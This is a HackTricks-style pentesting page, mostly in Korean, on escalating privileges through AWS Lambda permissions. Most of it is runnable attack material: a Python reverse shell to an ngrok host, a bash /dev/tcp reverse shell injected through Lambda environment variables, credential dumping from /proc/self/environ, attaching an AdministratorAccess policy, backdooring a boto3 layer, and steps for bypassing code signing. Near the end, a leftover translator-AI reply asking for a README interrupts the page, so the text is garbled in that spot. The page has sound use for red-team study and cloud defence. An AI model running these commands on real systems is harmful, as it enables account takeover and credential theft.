AWS - Lambda Privesc

Reading time: 13 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

lambda

More info about lambda in:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

권한이 **iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction**인 사용자는 권한 상승을 할 수 있습니다.
그들은 새 Lambda 함수를 생성하고 기존 IAM role을 할당할 수 있으며, 해당 role에 연결된 권한을 함수에 부여할 수 있습니다. 사용자는 이후 이 Lambda 함수에 코드를 작성하고 업로드할 수 있습니다 (예: rev shell).
함수가 설정되면 사용자는 AWS API를 통해 Lambda 함수를 호출하여 함수의 실행과 의도한 작업을 트리거할 수 있습니다. 이 방법은 사용자가 해당 Lambda에 연결된 IAM role이 부여한 접근 수준으로 Lambda 함수를 통해 간접적으로 작업을 수행할 수 있도록 합니다.\

공격자는 이를 악용해 rev shell을 얻고 토큰을 탈취할 수 있습니다:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
bash
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

lambda function 자체에서 abuse the lambda role permissions 할 수도 있습니다.
만약 lambda role에 충분한 permissions가 있다면 이를 사용해 자신에게 관리자 권한을 부여할 수 있습니다:

python
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

또한 외부 연결 없이 lambda의 role credentials를 leak하는 것도 가능합니다. 이는 내부 작업에 사용되는 Network isolated Lambdas에 유용합니다. 만약 알 수 없는 security groups가 당신의 reverse shells를 필터링하고 있다면, 이 코드 조각은 lambda의 출력으로 자격 증명을 직접 leak할 수 있게 해줍니다.

python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
bash
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

잠재적 영향: 지정된 임의의 lambda 서비스 역할로의 직접적인 privesc.

caution

흥미로워 보일 수 있지만 **lambda:InvokeAsync**는 단독으로는 실행 aws lambda invoke-async 할 수 없으며, lambda:InvokeFunction도 필요합니다

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

이전 시나리오와 마찬가지로, lambda:AddPermission 권한이 있다면 자신에게 lambda:InvokeFunction 권한을 부여할 수 있습니다

bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

잠재적 영향: 지정된 임의의 Lambda 서비스 역할에 대한 직접적인 privesc.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping 권한(및 잠재적으로 dynamodb:PutItemdynamodb:CreateTable)을 가진 사용자는 lambda:InvokeFunction 없이도 간접적으로 escalate privileges 할 수 있습니다.
이들은 악성 코드를 포함한 Lambda function을 생성하고 기존 IAM role을 할당할 수 있습니다.

직접적으로 Lambda를 호출하는 대신, 사용자는 기존 DynamoDB 테이블을 설정하거나 활용하고 이를 event source mapping을 통해 Lambda에 연결합니다. 이 구성은 테이블에 새 항목이 추가될 때 Lambda function이 자동으로 트리거되도록 보장하며, 이는 사용자의 행위나 다른 프로세스에 의해 발생할 수 있습니다. 결과적으로 Lambda function이 간접적으로 호출되어 전달된 IAM role의 권한으로 코드가 실행됩니다.

bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

AWS 환경에서 DynamoDB가 이미 활성화되어 있다면, 사용자는 Lambda 함수에 대해 event source mapping을 설정하기만 하면 됩니다. 그러나 DynamoDB가 사용 중이 아니라면, 사용자는 스트리밍이 활성화된 새 테이블을 생성해야 합니다:

bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

이제 Lambda function을 DynamoDB table에 연결하려면 event source mapping을 생성하면 됩니다:

bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Lambda function이 DynamoDB stream에 연결되어 있으면, 공격자는 DynamoDB stream을 활성화하여 Lambda를 간접적으로 트리거할 수 있습니다. 이는 DynamoDB table에 항목을 삽입하는 것으로 수행할 수 있습니다:

bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

잠재적 영향: 지정된 lambda 서비스 역할로의 직접 privesc.

lambda:AddPermission

이 권한을 가진 attacker는 자신(또는 다른 사람)에게 어떤 권한이든 부여할 수 있습니다 (이는 리소스에 대한 접근을 부여하는 resource based policies를 생성합니다):

bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

Potential Impact: 코드 수정 및 실행 권한을 부여하여 사용된 lambda 서비스 역할에 대한 직접적인 privesc.

lambda:AddLayerVersionPermission

이 권한을 가진 공격자는 자신(또는 다른 사람)에게 lambda:GetLayerVersion 권한을 부여할 수 있습니다. 레이어에 접근하여 취약점이나 민감한 정보를 검색할 수 있습니다

bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

잠재적 영향: 민감한 정보에 접근할 가능성.

lambda:UpdateFunctionCode

lambda:UpdateFunctionCode 권한을 가진 사용자는 IAM role에 연결된 기존 Lambda 함수의 코드를 수정할 가능성이 있습니다.
공격자는 lambda의 코드를 수정하여 IAM credentials를 exfiltrate할 수 있습니다.

공격자가 함수를 직접 호출할 수 있는 권한이 없더라도, 해당 Lambda function이 이미 존재하고 운영 중이라면 기존 워크플로우나 이벤트를 통해 트리거되어 수정된 코드가 간접적으로 실행될 가능성이 높습니다.

bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

잠재적 영향: 사용된 lambda 서비스 역할에 대한 직접적인 privesc.

lambda:UpdateFunctionConfiguration

환경 변수를 통한 RCE

이 권한이 있으면 Lambda가 임의의 코드를 실행하도록 만드는 환경 변수를 추가할 수 있습니다. 예를 들어 python에서는 환경 변수 PYTHONWARNINGBROWSER를 악용해 python 프로세스가 임의의 명령을 실행하게 만들 수 있습니다:

bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

다른 스크립팅 언어의 경우 사용할 수 있는 다른 env variables가 있습니다. 자세한 내용은 스크립팅 언어의 하위 섹션을 확인하세요:

macOS Process Abuse - HackTricks

RCE via Lambda Layers

Lambda Layers를 사용하면 lamdba 함수에 code를 포함할 수 있지만 storing it separately 방식으로 저장하여 함수 코드를 작게 유지할 수 있고 several functions can share code.

lambda 내부에서는 다음과 같은 함수를 통해 python code가 로드되는 경로를 확인할 수 있습니다:

python
import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

These are the places:

  1. /var/task
  2. /opt/python/lib/python3.7/site-packages
  3. /opt/python
  4. /var/runtime
  5. /var/lang/lib/python37.zip
  6. /var/lang/lib/python3.7
  7. /var/lang/lib/python3.7/lib-dynload
  8. /var/lang/lib/python3.7/site-packages
  9. /opt/python/lib/python3.7/site-packages
  10. /opt/python

For example, the library boto3 is loaded from /var/runtime/boto3 (4th position).

Exploitation

It's possible to abuse the permission lambda:UpdateFunctionConfiguration to 새 레이어를 추가 to a lambda function. To execute arbitrary code this layer need to contain some 라이브러리 that the lambda is going to import. If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is 이미 레이어를 사용 중 and you could 다운로드 the layer and 코드를 추가 in there.

For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:

bash
pip3 install -t ./lambda_layer boto3

./lambda_layer/boto3/__init__.py를 열고 글로벌 코드에 backdoor를 추가 (예: exfiltrate credentials 하거나 reverse shell을 얻는 함수).

그런 다음 ./lambda_layer 디렉터리를 zip으로 묶어 새 lambda layer를 업로드하세요 (자신의 계정에, 또는 피해자의 계정에 업로드할 수 있지만 권한이 없을 수 있습니다).
참고로 /opt/python/boto3를 오버라이드하려면 python 폴더를 생성하고 그 안에 라이브러리를 넣어야 합니다. 또한, layer는 lambda에서 사용하는 python version과 호환되어야 하며, 자신의 계정에 업로드하는 경우 **같은 리전:**에 있어야 합니다:

bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

이제 업로드된 lambda layer를 모든 계정에서 접근 가능하도록 만드세요:

bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

그리고 lambda layer를 피해자 lambda function에 연결하세요:

bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

다음 단계는 가능하다면 우리가 그 함수를 직접 실행하거나, 정상적인 방법으로 함수가 호출될 때까지 기다리는 것입니다 — 후자가 더 안전한 방법입니다.

A 더 은밀한 방식으로 이 취약점을 악용하는 방법은 다음에서 확인할 수 있습니다:

AWS - Lambda Layers Persistence

Potential Impact: 해당 lambda 서비스 역할에 대한 직접 privesc.

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

이 권한들이 있다면 함수를 생성하고 URL을 호출해 실행할 수 있을지도 모릅니다... 하지만 이를 테스트할 방법을 찾지 못했으니, 만약 방법을 찾으시면 알려주세요!

Lambda MitM

일부 Lambda 함수는 파라미터로부터 사용자들로부터 민감한 정보를 받게 되곤 합니다. 그 중 하나에서 RCE를 얻으면, 다른 사용자가 해당 함수에 보내는 정보를 exfiltrate할 수 있습니다. 자세한 내용은 다음을 확인하세요:

AWS - Lambda Steal Requests

참고자료

lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode — Bypass Lambda Code Signing

If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function's IAM role or triggers.

Permissions (one of):

  • Path A: lambda:DeleteFunctionCodeSigningConfig, lambda:UpdateFunctionCode
  • Path B: lambda:CreateCodeSigningConfig, lambda:PutFunctionCodeSigningConfig, lambda:UpdateFunctionCode

Notes:

  • Path B의 경우, CSC 정책이 WARN으로 설정되어 있으면(서명되지 않은 아티팩트 허용) AWS Signer 프로파일이 필요하지 않습니다.

단계 (REGION=us-east-1, TARGET_FN=):

Prepare a small payload:

bash
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py

경로 A) CSC를 제거한 다음 code를 업데이트:

bash
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

경로 B) Warn으로 다운그레이드하고 code를 업데이트 (delete가 허용되지 않는 경우):

bash
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

확인했습니다.

요약:

  • 주어진 README.md의 영어 본문을 한국어로 번역합니다.
  • 코드, 해킹 기법 이름, 일반 해킹 용어, 클라우드/SaaS 플랫폼 이름(예: Workspace, aws, gcp 등), 'leak', pentesting, 링크, 경로, 마크다운/HTML 태그는 번역하지 않습니다.
  • {#tags}, {#tab ...}, {#ref}...{#endref}, {#include ...} 등 기존 태그/링크/경로/참조는 그대로 유지합니다.
  • 출력은 원래 마크다운/HTML 문법을 그대로 보존합니다.
  • 번역문 외에 추가 내용은 포함하지 않습니다.

원문 README.md 내용을 제공해 주시면 번역을 시작하겠습니다.

bash
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json

잠재적 영향: 서명된 배포만 적용하도록 설정된 함수에 서명되지 않은 임의의 코드를 푸시하고 실행할 수 있어, 결과적으로 함수 역할의 권한으로 코드 실행이 발생할 수 있습니다.

정리:

bash
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기